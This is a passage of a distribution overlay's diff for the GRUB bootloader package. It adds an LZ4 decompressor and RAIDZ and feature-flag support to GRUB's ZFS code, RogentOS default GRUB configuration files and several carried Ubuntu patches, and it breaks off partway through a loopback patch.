++#if (defined(__x86_64__) || defined(__x86_64) || defined(__amd64__) || \
++	defined(__amd64) || defined(__ppc64__) || defined(_WIN64) || \
++	defined(__LP64__) || defined(_LP64))
++#define	LZ4_ARCH64	1
++#else
++#define	LZ4_ARCH64	0
++#endif
++
++/*
++ * Little Endian or Big Endian?
++ * Note: overwrite the below #define if you know your architecture endianess.
++ */
++#if (defined(__BIG_ENDIAN__) || defined(__BIG_ENDIAN) || \
++	defined(_BIG_ENDIAN) || defined(_ARCH_PPC) || defined(__PPC__) || \
++	defined(__PPC) || defined(PPC) || defined(__powerpc__) || \
++	defined(__powerpc) || defined(powerpc) || \
++	((defined(__BYTE_ORDER__)&&(__BYTE_ORDER__ == __ORDER_BIG_ENDIAN__))))
++#define	LZ4_BIG_ENDIAN	1
++#else
++	/*
++	 * Little Endian assumed. PDP Endian and other very rare endian format
++	 * are unsupported.
++	 */
++#endif
++
++/*
++ * Compiler Options
++ */
++
++#if __STDC_VERSION__ >= 199901L	/* C99 */
++/* "restrict" is a known keyword */
++#else
++/* Disable restrict */
++#ifndef restrict
++#define	restrict /* Only if somebody already didn't take care of that.*/
++#endif
++#endif
++
++#define	GCC_VERSION (__GNUC__ * 100 + __GNUC_MINOR__)
++
++#define	lz4_bswap16(x) ((unsigned short int) ((((x) >> 8) & 0xffu) \
++	| (((x) & 0xffu) << 8)))
++
++#if (GCC_VERSION >= 302) || (__INTEL_COMPILER >= 800) || defined(__clang__)
++#define	expect(expr, value)    (__builtin_expect((expr), (value)))
++#else
++#define	expect(expr, value)    (expr)
++#endif
++
++#define	likely(expr)	expect((expr) != 0, 1)
++#define	unlikely(expr)	expect((expr) != 0, 0)
++
++/* Basic types */
++#define	BYTE	grub_uint8_t
++#define	U16	grub_uint16_t
++#define	U32	grub_uint32_t
++#define	S32	grub_int32_t
++#define	U64	grub_uint64_t
++typedef grub_size_t size_t;
++
++typedef struct _U16_S {
++	U16 v;
++} U16_S;
++typedef struct _U32_S {
++	U32 v;
++} U32_S;
++typedef struct _U64_S {
++	U64 v;
++} U64_S;
++
++#define	A64(x)	(((U64_S *)(x))->v)
++#define	A32(x)	(((U32_S *)(x))->v)
++#define	A16(x)	(((U16_S *)(x))->v)
++
++/*
++ * Constants
++ */
++#define	MINMATCH 4
++
++#define	COPYLENGTH 8
++#define	LASTLITERALS 5
++
++#define	ML_BITS 4
++#define	ML_MASK ((1U<<ML_BITS)-1)
++#define	RUN_BITS (8-ML_BITS)
++#define	RUN_MASK ((1U<<RUN_BITS)-1)
++
++/*
++ * Architecture-specific macros
++ */
++#if LZ4_ARCH64
++#define	STEPSIZE 8
++#define	UARCH U64
++#define	AARCH A64
++#define	LZ4_COPYSTEP(s, d)	A64(d) = A64(s); d += 8; s += 8;
++#define	LZ4_COPYPACKET(s, d)	LZ4_COPYSTEP(s, d)
++#define	LZ4_SECURECOPY(s, d, e)	if (d < e) LZ4_WILDCOPY(s, d, e)
++#define	HTYPE U32
++#define	INITBASE(base)		const BYTE* const base = ip
++#else
++#define	STEPSIZE 4
++#define	UARCH U32
++#define	AARCH A32
++#define	LZ4_COPYSTEP(s, d)	A32(d) = A32(s); d += 4; s += 4;
++#define	LZ4_COPYPACKET(s, d)	LZ4_COPYSTEP(s, d); LZ4_COPYSTEP(s, d);
++#define	LZ4_SECURECOPY		LZ4_WILDCOPY
++#define	HTYPE const BYTE*
++#define	INITBASE(base)		const int base = 0
++#endif
++
++#if (defined(LZ4_BIG_ENDIAN) && !defined(BIG_ENDIAN_NATIVE_BUT_INCOMPATIBLE))
++#define	LZ4_READ_LITTLEENDIAN_16(d, s, p) \
++	{ U16 v = A16(p); v = lz4_bswap16(v); d = (s) - v; }
++#define	LZ4_WRITE_LITTLEENDIAN_16(p, i) \
++	{ U16 v = (U16)(i); v = lz4_bswap16(v); A16(p) = v; p += 2; }
++#else
++#define	LZ4_READ_LITTLEENDIAN_16(d, s, p) { d = (s) - A16(p); }
++#define	LZ4_WRITE_LITTLEENDIAN_16(p, v)  { A16(p) = v; p += 2; }
++#endif
++
++/* Macros */
++#define	LZ4_WILDCOPY(s, d, e) do { LZ4_COPYPACKET(s, d) } while (d < e);
++
++/* Decompression functions */
++grub_err_t
++lz4_decompress(void *s_start, void *d_start, size_t s_len, size_t d_len);
++
++grub_err_t
++lz4_decompress(void *s_start, void *d_start, size_t s_len, size_t d_len)
++{
++	const BYTE *src = s_start;
++	U32 bufsiz = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) |
++	    src[3];
++
++	/* invalid compressed buffer size encoded at start */
++	if (bufsiz + 4 > s_len)
++		return grub_error(GRUB_ERR_BAD_FS,"lz4 decompression failed.");
++
++	/*
++	 * Returns 0 on success (decompression function returned non-negative)
++	 * and appropriate error on failure (decompression function returned negative).
++	 */
++	return (LZ4_uncompress_unknownOutputSize((char*)s_start + 4, d_start, bufsiz,
++	    d_len) < 0)?grub_error(GRUB_ERR_BAD_FS,"lz4 decompression failed."):0;
++}
++
++static int
++LZ4_uncompress_unknownOutputSize(const char *source,
++    char *dest, int isize, int maxOutputSize)
++{
++	/* Local Variables */
++	const BYTE *restrict ip = (const BYTE *) source;
++	const BYTE *const iend = ip + isize;
++	const BYTE *restrict ref;
++
++	BYTE *restrict op = (BYTE *) dest;
++	BYTE *const oend = op + maxOutputSize;
++	BYTE *cpy;
++
++	size_t dec[] = { 0, 3, 2, 3, 0, 0, 0, 0 };
++
++	/* Main Loop */
++	while (ip < iend) {
++		BYTE token;
++		int length;
++
++		/* get runlength */
++		token = *ip++;
++		if ((length = (token >> ML_BITS)) == RUN_MASK) {
++			int s = 255;
++			while ((ip < iend) && (s == 255)) {
++				s = *ip++;
++				length += s;
++			}
++		}
++		/* copy literals */
++		cpy = op + length;
++		if ((cpy > oend - COPYLENGTH) ||
++		    (ip + length > iend - COPYLENGTH)) {
++			if (cpy > oend)
++				/*
++				 * Error: request to write beyond destination
++				 * buffer.
++				 */
++				goto _output_error;
++			if (ip + length > iend)
++				/*
++				 * Error : request to read beyond source
++				 * buffer.
++				 */
++				goto _output_error;
++			grub_memcpy(op, ip, length);
++			op += length;
++			ip += length;
++			if (ip < iend)
++				/* Error : LZ4 format violation */
++				goto _output_error;
++			/* Necessarily EOF, due to parsing restrictions. */
++			break;
++		}
++		LZ4_WILDCOPY(ip, op, cpy);
++		ip -= (op - cpy);
++		op = cpy;
++
++		/* get offset */
++		LZ4_READ_LITTLEENDIAN_16(ref, cpy, ip);
++		ip += 2;
++		if (ref < (BYTE * const) dest)
++			/*
++			 * Error: offset creates reference outside of
++			 * destination buffer.
++			 */
++			goto _output_error;
++
++		/* get matchlength */
++		if ((length = (token & ML_MASK)) == ML_MASK) {
++			while (ip < iend) {
++				int s = *ip++;
++				length += s;
++				if (s == 255)
++					continue;
++				break;
++			}
++		}
++		/* copy repeated sequence */
++		if unlikely(op - ref < STEPSIZE) {
++#if LZ4_ARCH64
++			size_t dec2table[] = { 0, 0, 0, -1, 0, 1, 2, 3 };
++			size_t dec2 = dec2table[op - ref];
++#else
++			const int dec2 = 0;
++#endif
++			*op++ = *ref++;
++			*op++ = *ref++;
++			*op++ = *ref++;
++			*op++ = *ref++;
++			ref -= dec[op - ref];
++			A32(op) = A32(ref);
++			op += STEPSIZE - 4;
++			ref -= dec2;
++		} else {
++			LZ4_COPYSTEP(ref, op);
++		}
++		cpy = op + length - (STEPSIZE - 4);
++		if (cpy > oend - COPYLENGTH) {
++			if (cpy > oend)
++				/*
++				 * Error: request to write outside of
++				 * destination buffer.
++				 */
++				goto _output_error;
++			LZ4_SECURECOPY(ref, op, (oend - COPYLENGTH));
++			while (op < cpy)
++				*op++ = *ref++;
++			op = cpy;
++			if (op == oend)
++				/*
++				 * Check EOF (should never happen, since last
++				 * 5 bytes are supposed to be literals).
++				 */
++				break;
++			continue;
++		}
++		LZ4_SECURECOPY(ref, op, cpy);
++		op = cpy;	/* correction */
++	}
++
++	/* end of decoding */
++	return (int)(((char *)op) - dest);
++
++	/* write overflow error detected */
++	_output_error:
++	return (int)(-(((char *)ip) - source));
++}
+diff --git a/grub-core/fs/zfs/zfsinfo.c b/grub-core/fs/zfs/zfsinfo.c
+index fdb587a..c96bf21 100644
+--- a/grub-core/fs/zfs/zfsinfo.c
++++ b/grub-core/fs/zfs/zfsinfo.c
+@@ -132,21 +132,31 @@ print_vdev_info (char *nvlist, int tab)
+       grub_free (path);
+       return GRUB_ERR_NONE;
+     }
++  char is_mirror=(grub_strcmp(type,VDEV_TYPE_MIRROR) == 0);
++  char is_raidz=(grub_strcmp(type,VDEV_TYPE_RAIDZ) == 0);
+ 
+-  if (grub_strcmp (type, VDEV_TYPE_MIRROR) == 0)
++  if (is_mirror || is_raidz)
+     {
+       int nelm, i;
+ 
+       nelm = grub_zfs_nvlist_lookup_nvlist_array_get_nelm
+ 	(nvlist, ZPOOL_CONFIG_CHILDREN);
+ 
++      if(is_mirror){
++	 grub_puts_ (N_("This VDEV is a mirror"));
++      }
++      else if(is_raidz){
++	 grub_uint64_t parity;
++	 grub_zfs_nvlist_lookup_uint64(nvlist,"nparity",&parity);
++	 grub_printf_ (N_("This VDEV is a RAIDZ%llu\n"),(unsigned long long)parity);
++      }
+       print_tabs (tab);
+       if (nelm <= 0)
+ 	{
+-	  grub_puts_ (N_("Incorrect mirror"));
++	  grub_puts_ (N_("Incorrect VDEV"));
+ 	  return GRUB_ERR_NONE;
+ 	}
+-      grub_printf_ (N_("Mirror with %d children\n"), nelm);
++      grub_printf_ (N_("VDEV with %d children\n"), nelm);
+       print_state (nvlist, tab);
+       for (i = 0; i < nelm; i++)
+ 	{
+@@ -162,14 +172,14 @@ print_vdev_info (char *nvlist, int tab)
+ 		 total element number. And the number itself is fine,
+ 		 only the element isn't.
+ 	      */
+-	      grub_printf_ (N_("Mirror element number %d isn't correct\n"), i);
++	      grub_printf_ (N_("VDEV element number %d isn't correct\n"), i);
+ 	      continue;
+ 	    }
+ 
+ 	  /* TRANSLATORS: it's the element carying the number %d, not
+ 	     total element number. This is used in enumeration
+ 	     "Element number 1", "Element number 2", ... */
+-	  grub_printf_ (N_("Mirror element number %d:\n"), i);
++	  grub_printf_ (N_("VDEV element number %d:\n"), i);
+ 	  print_vdev_info (child, tab + 1);
+ 
+ 	  grub_free (child);
+diff --git a/include/grub/zfs/dmu.h b/include/grub/zfs/dmu.h
+index 8fc6dc5..4ad616c 100644
+--- a/include/grub/zfs/dmu.h
++++ b/include/grub/zfs/dmu.h
+@@ -22,6 +22,39 @@
+ 
+ #ifndef	_SYS_DMU_H
+ #define	_SYS_DMU_H
++#define	B_FALSE	0
++#define	B_TRUE	1
++
++#define	DMU_OT_NEWTYPE 0x80
++#define	DMU_OT_METADATA 0x40
++#define	DMU_OT_BYTESWAP_MASK 0x3f
++
++#define	DMU_OT(byteswap, metadata) \
++	(DMU_OT_NEWTYPE | \
++	((metadata) ? DMU_OT_METADATA : 0) | \
++	((byteswap) & DMU_OT_BYTESWAP_MASK))
++
++#define	DMU_OT_IS_VALID(ot) (((ot) & DMU_OT_NEWTYPE) ? \
++	((ot) & DMU_OT_BYTESWAP_MASK) < DMU_BSWAP_NUMFUNCS : \
++	(ot) < DMU_OT_NUMTYPES)
++
++#define	DMU_OT_IS_METADATA(ot) (((ot) & DMU_OT_NEWTYPE) ? \
++	((ot) & DMU_OT_METADATA) : \
++	dmu_ot[(ot)].ot_metadata)
++
++typedef enum dmu_object_byteswap {
++	DMU_BSWAP_UINT8,
++	DMU_BSWAP_UINT16,
++	DMU_BSWAP_UINT32,
++	DMU_BSWAP_UINT64,
++	DMU_BSWAP_ZAP,
++	DMU_BSWAP_DNODE,
++	DMU_BSWAP_OBJSET,
++	DMU_BSWAP_ZNODE,
++	DMU_BSWAP_OLDACL,
++	DMU_BSWAP_ACL,
++	DMU_BSWAP_NUMFUNCS
++} dmu_object_byteswap_t;
+ 
+ /*
+  * This file describes the interface that the DMU provides for its
+@@ -89,7 +122,17 @@ typedef enum dmu_object_type {
+ 	DMU_OT_SA_ATTR_REGISTRATION,	/* ZAP */
+ 	DMU_OT_SA_ATTR_LAYOUTS,		/* ZAP */
+ 	DMU_OT_DSL_KEYCHAIN = 54,
+-	DMU_OT_NUMTYPES
++	DMU_OT_NUMTYPES,
++	DMU_OTN_UINT8_DATA = DMU_OT(DMU_BSWAP_UINT8, B_FALSE),
++	DMU_OTN_UINT8_METADATA = DMU_OT(DMU_BSWAP_UINT8, B_TRUE),
++	DMU_OTN_UINT16_DATA = DMU_OT(DMU_BSWAP_UINT16, B_FALSE),
++	DMU_OTN_UINT16_METADATA = DMU_OT(DMU_BSWAP_UINT16, B_TRUE),
++	DMU_OTN_UINT32_DATA = DMU_OT(DMU_BSWAP_UINT32, B_FALSE),
++	DMU_OTN_UINT32_METADATA = DMU_OT(DMU_BSWAP_UINT32, B_TRUE),
++	DMU_OTN_UINT64_DATA = DMU_OT(DMU_BSWAP_UINT64, B_FALSE),
++	DMU_OTN_UINT64_METADATA = DMU_OT(DMU_BSWAP_UINT64, B_TRUE),
++	DMU_OTN_ZAP_DATA = DMU_OT(DMU_BSWAP_ZAP, B_FALSE),
++	DMU_OTN_ZAP_METADATA = DMU_OT(DMU_BSWAP_ZAP, B_TRUE),
+ } dmu_object_type_t;
+ 
+ typedef enum dmu_objset_type {
+@@ -116,5 +159,6 @@ typedef enum dmu_objset_type {
+ #define	DMU_POOL_HISTORY		"history"
+ #define	DMU_POOL_PROPS			"pool_props"
+ #define	DMU_POOL_L2CACHE		"l2cache"
++#define	DMU_POOL_FEATURES_FOR_READ	"features_for_read"
+ 
+ #endif	/* _SYS_DMU_H */
+diff --git a/include/grub/zfs/zfs.h b/include/grub/zfs/zfs.h
+index e326c8b..761ade7 100644
+--- a/include/grub/zfs/zfs.h
++++ b/include/grub/zfs/zfs.h
+@@ -36,8 +36,13 @@ typedef enum grub_zfs_endian
+ /*
+  * On-disk version number.
+  */
+-#define	SPA_VERSION			33ULL
+-
++#define	SPA_VERSION_INITIAL		1ULL
++#define	SPA_VERSION_BEFORE_FEATURES	33ULL
++#define	SPA_VERSION			5000ULL
++#define	SPA_VERSION_FEATURES		5000ULL
++#define	SPA_VERSION_IS_SUPPORTED(v) \
++	(((v) >= SPA_VERSION_INITIAL && (v) <= SPA_VERSION_BEFORE_FEATURES) || \
++	((v) >= SPA_VERSION_FEATURES && (v) <= SPA_VERSION))
+ /*
+  * The following are configuration names used in the nvlist describing a pool's
+  * configuration.
+@@ -76,6 +81,7 @@ typedef enum grub_zfs_endian
+ #define	ZPOOL_CONFIG_DDT_HISTOGRAM	"ddt_histogram"
+ #define	ZPOOL_CONFIG_DDT_OBJ_STATS	"ddt_object_stats"
+ #define	ZPOOL_CONFIG_DDT_STATS		"ddt_stats"
++#define	ZPOOL_CONFIG_FEATURES_FOR_READ	"features_for_read"
+ /*
+  * The persistent vdev state is stored as separate values rather than a single
+  * 'vdev_state' entry.  This is because a device can be in multiple states, such
+diff --git a/include/grub/zfs/zio.h b/include/grub/zfs/zio.h
+index b1c46da..8fad2cc 100644
+--- a/include/grub/zfs/zio.h
++++ b/include/grub/zfs/zio.h
+@@ -88,6 +88,7 @@ enum zio_compress {
+ 	ZIO_COMPRESS_GZIP8,
+ 	ZIO_COMPRESS_GZIP9,
+ 	ZIO_COMPRESS_ZLE,
++	ZIO_COMPRESS_LZ4,
+ 	ZIO_COMPRESS_FUNCTIONS
+ };
+ 
+diff --git a/po/POTFILES.in b/po/POTFILES.in
+index 987b37a..c55d9e3 100644
+--- a/po/POTFILES.in
++++ b/po/POTFILES.in
+@@ -173,6 +173,7 @@
+ ./grub-core/fs/zfs/zfs_fletcher.c
+ ./grub-core/fs/zfs/zfsinfo.c
+ ./grub-core/fs/zfs/zfs_lzjb.c
++./grub-core/fs/zfs/zfs_lz4.c
+ ./grub-core/fs/zfs/zfs_sha256.c
+ ./grub-core/gdb/cstub.c
+ ./grub-core/gdb/gdb.c
diff --git a/sys-boot/grub/files/grub.conf.gentoo b/sys-boot/grub/files/grub.conf.gentoo
new file mode 100644
index 00000000..0027099e
--- /dev/null
+++ b/sys-boot/grub/files/grub.conf.gentoo
@@ -0,0 +1,16 @@
+# This is a sample grub.conf for use with Genkernel, per the Gentoo handbook
+# http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=1&chap=10#doc_chap2
+# If you are not using Genkernel and you need help creating this file, you
+# should consult the handbook. Alternatively, consult the grub.conf.sample that
+# is included with the Grub documentation.
+
+default 0
+timeout 30
+#splashimage=(hd0,0)/boot/grub/splash.xpm.gz
+
+#title Gentoo Linux 2.6.24-r5
+#root (hd0,0)
+#kernel /boot/kernel-genkernel-x86-2.6.24-gentoo-r5 root=/dev/ram0 real_root=/dev/sda3
+#initrd /boot/initramfs-genkernel-x86-2.6.24-gentoo-r5
+
+# vim:ft=conf:
diff --git a/sys-boot/grub/files/grub.default-2 b/sys-boot/grub/files/grub.default-2
new file mode 100644
index 00000000..60f27303
--- /dev/null
+++ b/sys-boot/grub/files/grub.default-2
@@ -0,0 +1,57 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/sys-boot/grub/files/grub.default-2,v 1.2 2012/06/28 22:36:53 floppym Exp $
+#
+# To populate all changes in this file you need to regenerate your
+# grub configuration file afterwards:
+#     'grub2-mkconfig -o /boot/grub2/grub.cfg'
+#
+# See the grub info page for documentation on possible variables and
+# their associated values. 
+
+GRUB_DEFAULT=saved
+GRUB_DISTRIBUTOR="RogentOS"
+
+GRUB_DEFAULT=0
+GRUB_HIDDEN_TIMEOUT=0
+GRUB_HIDDEN_TIMEOUT_QUIET=true
+GRUB_TIMEOUT=3
+
+GRUB_CMDLINE_LINUX_DEFAULT=""
+GRUB_CMDLINE_LINUX=""
+
+# Uncomment to disable graphical terminal (grub-pc only)
+#GRUB_TERMINAL=console
+
+# The resolution used on graphical terminal.
+# Note that you can use only modes which your graphic card supports via VBE.
+# You can see them in real GRUB with the command `vbeinfo'.
+GRUB_GFXMODE=1024x768
+
+# Path to theme spec txt file.
+# The starfield is by default provided with use truetype.
+# NOTE: when enabling custom theme, ensure you have required font/etc.
+#GRUB_THEME="/boot/grub2/themes/starfield/theme.txt"
+
+# Background image used on graphical terminal.
+# Can be in various bitmap formats.
+GRUB_BACKGROUND="/boot/grub/default-splash.png"
+
+# Uncomment if you don't want GRUB to pass "root=UUID=xxx" parameter to kernel
+#GRUB_DISABLE_LINUX_UUID=true
+
+# Uncomment to disable generation of recovery mode menu entries
+#GRUB_DISABLE_RECOVERY=true
+
+# Boot menu option normal color
+GRUB_COLOR_NORMAL="white/black"
+
+# Boot menu option "highlight" color
+GRUB_COLOR_HIGHLIGHT="magenta/black"
+
+if [ -f "/etc/default/rogentos-grub" ]; then
+	# this file is placed by the RogentOS Installer and contains
+	# custom GRUB_CMDLINE_LINUX parameters created at install
+	# time.
+	. /etc/default/rogentos-grub
+fi
diff --git a/sys-boot/grub/files/grub2-default b/sys-boot/grub/files/grub2-default
new file mode 100644
index 00000000..c93a6e8f
--- /dev/null
+++ b/sys-boot/grub/files/grub2-default
@@ -0,0 +1,62 @@
+# /etc/default/grub
+# If you change this file, run 'grub-mkconfig -o /boot/grub/grub.cfg' afterwards to update
+# /boot/grub/grub.cfg.
+
+GRUB_DEFAULT=saved
+GRUB_DISTRIBUTOR="RogentOS"
+GRUB_HIDDEN_TIMEOUT=0
+GRUB_HIDDEN_TIMEOUT_QUIET=true
+GRUB_TIMEOUT=5
+
+# Add your extra parameters here below
+# Dear user, put your boot flags here ;-)
+GRUB_CMDLINE_LINUX_DEFAULT=""
+# ATTENTION ATTENTION ATTENTION
+# DO NOT EDIT THIS MANUALLY NOR SET IT TO EMPTY IF IT'S ALREADY FILLED WITH
+# SOMETHING (DONE BY THE INSTALLER). REALLY, DON'T !
+GRUB_CMDLINE_LINUX=""
+# ATTENTION ATTENTION ATTENTION
+
+# Uncomment to disable graphical terminal (grub-pc only)
+# GRUB_TERMINAL=console
+
+# The resolution used on graphical terminal
+# note that you can use only modes which your graphic card supports via VBE
+# you can see them in real GRUB with the command `vbeinfo'
+GRUB_GFXMODE=1024x768
+
+# Uncomment if you don't want GRUB to pass "root=UUID=xxx" parameter to Linux
+#GRUB_DISABLE_LINUX_UUID=true
+
+# Uncomment to disable generation of recovery mode menu entrys
+# GRUB_DISABLE_LINUX_RECOVERY="false"
+
+# Default wallpaper image path
+GRUB_WALLPAPER="/boot/grub/default-splash.png"
+
+# Boot menu option normal color
+GRUB_COLOR_NORMAL="white/black"
+
+# Boot menu option "highlight" color
+GRUB_COLOR_HIGHLIGHT="magenta/black"
+
+if [ -f "/etc/default/rogentos-grub" ]; then
+	# this file is placed by the RogentOS Installer and contains
+	# custom GRUB_CMDLINE_LINUX parameters created at install
+	# time.
+	source /etc/default/rogentos-grub
+fi
+
+# DO NOT REMOVE THIS IF YOUR GRUB_CMDLINE_LINUX IS EMPTY (BACKWARD COMPAT)
+if [ -z "${GRUB_CMDLINE_LINUX}" ]; then
+	if [ ! -e "/proc/cmdline" ]; then
+		echo "ATTENTION ATTENTION ATTENTION" >&2
+		echo "GRUB_CMDLINE_LINUX is not set inside /etc/default/grub" >&2
+		echo "  cannot generate a bootable configuration." >&2
+	else
+		echo "ATTENTION ATTENTION ATTENTION" >&2
+		echo "GRUB_CMDLINE_LINUX is not set inside /etc/default/grub" >&2
+		echo "  grub is going to use your /proc/cmdline content" >&2
+		GRUB_CMDLINE_LINUX="`cat /proc/cmdline | sed -e 's#BOOT_IMAGE=.* ro ##g'`"
+	fi
+fi
diff --git a/sys-boot/grub/files/grub2-default-1.99 b/sys-boot/grub/files/grub2-default-1.99
new file mode 100644
index 00000000..acaabfd7
--- /dev/null
+++ b/sys-boot/grub/files/grub2-default-1.99
@@ -0,0 +1,49 @@
+# /etc/default/grub
+# If you change this file, run 'grub-mkconfig -o /boot/grub/grub.cfg' afterwards to update
+# /boot/grub/grub.cfg.
+
+GRUB_DEFAULT=saved
+GRUB_DISTRIBUTOR="RogentOS"
+GRUB_HIDDEN_TIMEOUT=0
+GRUB_HIDDEN_TIMEOUT_QUIET=true
+GRUB_TIMEOUT=5
+GRUB_DISABLE_LINUX_UUID=true
+
+# Add your extra parameters here below
+# Dear user, put your boot flags here ;-)
+GRUB_CMDLINE_LINUX_DEFAULT=""
+# ATTENTION ATTENTION ATTENTION
+# DO NOT EDIT THIS MANUALLY NOR SET IT TO EMPTY IF IT'S ALREADY FILLED WITH
+# SOMETHING (DONE BY THE INSTALLER). REALLY, DON'T !
+GRUB_CMDLINE_LINUX=""
+# ATTENTION ATTENTION ATTENTION
+
+# Uncomment to disable graphical terminal (grub-pc only)
+# GRUB_TERMINAL=console
+
+# The resolution used on graphical terminal
+# note that you can use only modes which your graphic card supports via VBE
+# you can see them in real GRUB with the command `vbeinfo'
+GRUB_GFXMODE=1024x768
+
+# Uncomment if you don't want GRUB to pass "root=UUID=xxx" parameter to Linux
+#GRUB_DISABLE_LINUX_UUID=true
+
+# Uncomment to disable generation of recovery mode menu entrys
+# GRUB_DISABLE_LINUX_RECOVERY="false"
+
+# Default wallpaper image path
+GRUB_WALLPAPER="/boot/grub/default-splash.png"
+
+# Boot menu option normal color
+GRUB_COLOR_NORMAL="white/black"
+
+# Boot menu option "highlight" color
+GRUB_COLOR_HIGHLIGHT="magenta/black"
+
+if [ -f "/etc/default/rogentos-grub" ]; then
+	# this file is placed by the RogentOS Installer and contains
+	# custom GRUB_CMDLINE_LINUX parameters created at install
+	# time.
+	. /etc/default/rogentos-grub
+fi
diff --git a/sys-boot/grub/files/splash.xpm.gz b/sys-boot/grub/files/splash.xpm.gz
new file mode 100644
index 00000000..f6836bda
Binary files /dev/null and b/sys-boot/grub/files/splash.xpm.gz differ
diff --git a/sys-boot/grub/files/ubuntu-upstream-1.98/01_uuids_and_lvm_dont_play_along_nicely.diff b/sys-boot/grub/files/ubuntu-upstream-1.98/01_uuids_and_lvm_dont_play_along_nicely.diff
new file mode 100644
index 00000000..c997b845
--- /dev/null
+++ b/sys-boot/grub/files/ubuntu-upstream-1.98/01_uuids_and_lvm_dont_play_along_nicely.diff
@@ -0,0 +1,14 @@
+diff --git a/util/grub.d/10_linux.in b/util/grub.d/10_linux.in
+index c2da413..cbd9d6b 100644
+--- a/util/grub.d/10_linux.in
++++ b/util/grub.d/10_linux.in
+@@ -36,7 +36,8 @@ case ${GRUB_DEVICE} in
+ esac
+
+ if [ "x${GRUB_DEVICE_UUID}" = "x" ] || [ "x${GRUB_DISABLE_LINUX_UUID}" = "xtrue" ] \
+-    || ! test -e "/dev/disk/by-uuid/${GRUB_DEVICE_UUID}" ; then
++    || ! test -e "/dev/disk/by-uuid/${GRUB_DEVICE_UUID}" \
++    || [ "`grub-probe -t abstraction --device ${GRUB_DEVICE} | sed -e 's,.*\(lvm\).*,\1,'`" = "lvm"  ] ; then
+   LINUX_ROOT_DEVICE=${GRUB_DEVICE}
+ else
+   LINUX_ROOT_DEVICE=UUID=${GRUB_DEVICE_UUID}
diff --git a/sys-boot/grub/files/ubuntu-upstream-1.98/902_boot_blocklist_hack.diff b/sys-boot/grub/files/ubuntu-upstream-1.98/902_boot_blocklist_hack.diff
new file mode 100644
index 00000000..63caf45e
--- /dev/null
+++ b/sys-boot/grub/files/ubuntu-upstream-1.98/902_boot_blocklist_hack.diff
@@ -0,0 +1,20 @@
+Index: util/i386/pc/grub-setup.c
+===================================================================
+--- util/i386/pc/grub-setup.c	(revision 1836)
++++ util/i386/pc/grub-setup.c	(working copy)
+@@ -383,6 +383,15 @@
+       grub_disk_cache_invalidate_all ();
+
+       file = grub_file_open (core_path_dev);
++
++      if (grub_errno == GRUB_ERR_FILE_NOT_FOUND)
++	{
++	  /* Clean the previous grub_errno */
++	  grub_errno = GRUB_ERR_NONE;
++	  strcpy (core_path_dev, "/grub/core.img");
++	  file = grub_file_open (core_path_dev);
++	}
++
+       if (file)
+ 	{
+ 	  if (grub_file_size (file) != core_size)
diff --git a/sys-boot/grub/files/ubuntu-upstream-1.98/904_disable_floppies.diff b/sys-boot/grub/files/ubuntu-upstream-1.98/904_disable_floppies.diff
new file mode 100644
index 00000000..66a41cdc
--- /dev/null
+++ b/sys-boot/grub/files/ubuntu-upstream-1.98/904_disable_floppies.diff
@@ -0,0 +1,28 @@
+
+Author: Robert Millan
+
+An ugly kludge.  Should this be merged upstream?
+
+Index: util/hostdisk.c
+===================================================================
+--- util/hostdisk.c	(revision 1832)
++++ util/hostdisk.c	(working copy)
+@@ -544,6 +544,18 @@
+ 	  continue;
+ 	}
+
++      if (! strncmp (p, "/dev/fd", sizeof ("/dev/fd") - 1))
++	{
++	  char *q = p + sizeof ("/dev/fd") - 1;
++	  if (*q >= '0' && *q <= '9')
++	    {
++	      free (map[drive].drive);
++	      map[drive].drive = NULL;
++	      grub_util_info ("`%s' looks like a floppy drive, skipping", p);
++	      continue;
++	    }
++	}
++
+ #ifdef __linux__
+       /* On Linux, the devfs uses symbolic links horribly, and that
+ 	 confuses the interface very much, so use realpath to expand
diff --git a/sys-boot/grub/files/ubuntu-upstream-1.98/956_loopback_root.diff b/sys-boot/grub/files/ubuntu-upstream-1.98/956_loopback_root.diff
new file mode 100644
index 00000000..ce54872e
--- /dev/null
+++ b/sys-boot/grub/files/ubuntu-upstream-1.98/956_loopback_root.diff
@@ -0,0 +1,139 @@
+Upstream: http://lists.gnu.org/archive/html/grub-devel/2009-09/msg00210.html
+Description: If you set root after running loopback, any attempts to open
+ files on the loopback device resolve the loopback file name relative to the
+ *new* root, not the root at the time loopback was invoked, and so the above
+ recurses until it runs out of stack. This causes problems for Wubi. I think
+ it's fairly clear that only the root that was in place when you ran
+ loopback should be relevant to the loopback file name.
+
+diff -Nur -x '*.orig' -x '*~' grub2-1.97~beta2/disk/loopback.c grub2-1.97~beta2.new/disk/loopback.c
+--- grub2-1.97~beta2/disk/loopback.c	2009-06-10 22:04:23.000000000 +0100
++++ grub2-1.97~beta2.new/disk/loopback.c	2009-09-10 21:42:56.000000000 +0100
+@@ -28,6 +28,7 @@
+ {
+   char *devname;
+   char *filename;
++  grub_file_t file;
+   int has_partitions;
+   struct grub_loopback *next;
+ };
+@@ -61,6 +62,7 @@
+   /* Remove the device from the list.  */
+   *prev = dev->next;
+ 
++  grub_file_close (dev->file);
+   grub_free (dev->devname);
+   grub_free (dev->filename);
+   grub_free (dev);
+@@ -90,9 +92,6 @@
+   if (! file)
+     return grub_errno;
+ 
+-  /* Close the file, the only reason for opening it is validation.  */
+-  grub_file_close (file);
+-
+   /* First try to replace the old device.  */
+   for (newdev = loopback_list; newdev; newdev = newdev->next)
+     if (grub_strcmp (newdev->devname, args[0]) == 0)
+@@ -102,10 +101,12 @@
+     {
+       char *newname = grub_strdup (args[1]);
+       if (! newname)
+-	return grub_errno;
++	goto fail;
+ 
+       grub_free (newdev->filename);
+       newdev->filename = newname;
++      grub_file_close (newdev->file);
++      newdev->file = file;
+ 
+       /* Set has_partitions when `--partitions' was used.  */
+       newdev->has_partitions = state[1].set;
+@@ -116,13 +117,13 @@
+   /* Unable to replace it, make a new entry.  */
+   newdev = grub_malloc (sizeof (struct grub_loopback));
+   if (! newdev)
+-    return grub_errno;
++    goto fail;
+ 
+   newdev->devname = grub_strdup (args[0]);
+   if (! newdev->devname)
+     {
+       grub_free (newdev);
+-      return grub_errno;
++      goto fail;
+     }
+ 
+   newdev->filename = grub_strdup (args[1]);
+@@ -130,9 +131,11 @@
+     {
+       grub_free (newdev->devname);
+       grub_free (newdev);
+-      return grub_errno;
++      goto fail;
+     }
+ 
++  newdev->file = file;
++
